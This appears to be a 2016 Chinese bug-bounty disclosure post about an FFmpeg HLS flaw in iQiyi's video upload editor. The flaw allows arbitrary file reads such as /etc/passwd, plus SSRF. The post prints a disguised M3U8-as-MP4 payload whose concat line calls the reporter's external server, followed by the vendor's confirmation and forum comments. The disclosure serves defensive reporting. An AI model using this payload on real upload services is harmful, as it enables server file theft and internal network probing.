爱奇艺主站某处FFmpeg漏洞可导致任意文件读取

案例：https://hackerone.com/reports/115857

直接上传视频那里貌似没有漏洞，但在主站另外一处也可以上传视频

http://www.iqiyi.com/u/editor/

直接上传mp4文件，内容如下:

#EXTM3U
 #EXT-X-MEDIA-SEQUENCE:0
 #EXTINF:10.0,
 concat:http://115browser.com/mp4/remote.m3u8
 #EXT-X-ENDLIST

其他利用文件与详细的利用可以参考上面给的hackerone案例

上传后会访问我的服务器，也可造成SSRF

读取passwd

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-05-06 14:41

厂商回复：

感谢关注爱奇艺PPS安全，漏洞确认存在，我们尽快修复。 谢谢

最新状态：

暂无

1. 2016-05-06 14:28 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)

   1

   沙发

   1# 回复此人

2. 2016-05-06 14:32 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:208 | px1624)

   1

   ...

   2# 回复此人

3. 2016-05-06 14:37 | 刺刺 ( 普通白帽子 | Rank:711 漏洞数:65 | 真正的安全并不是技术，而是人类善良的心灵...)

   1

   图片、视频、flash 下面是不是要到 swftools了！

   3# 回复此人

4. 2016-05-06 14:41 | 紫霞仙子 ( 普通白帽子 | Rank:2302 漏洞数:307 | 没好团队，啥都干不成！！！)

   1

   好吧，昨晚试了，今天还没时间弄了，你就提了

   4# 回复此人

5. 2016-05-06 22:30 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

   0

   感谢关注爱奇艺PPS安全，漏洞确认存在，我们尽快修复。 谢谢

   5# 回复此人

6. 2016-05-06 22:32 | 小牛牛 ( 普通白帽子 | Rank:139 漏洞数:17 | 求带)

   0

   ..我想知道你是怎么成功的

   6# 回复此人

7. 2016-05-06 22:38 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

   0

   @小牛牛 求带

   7# 回复此人

8. 2016-05-10 18:09 | 子墨 ( 普通白帽子 | Rank:268 漏洞数:30 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

   0

   流弊~

   8# 回复此人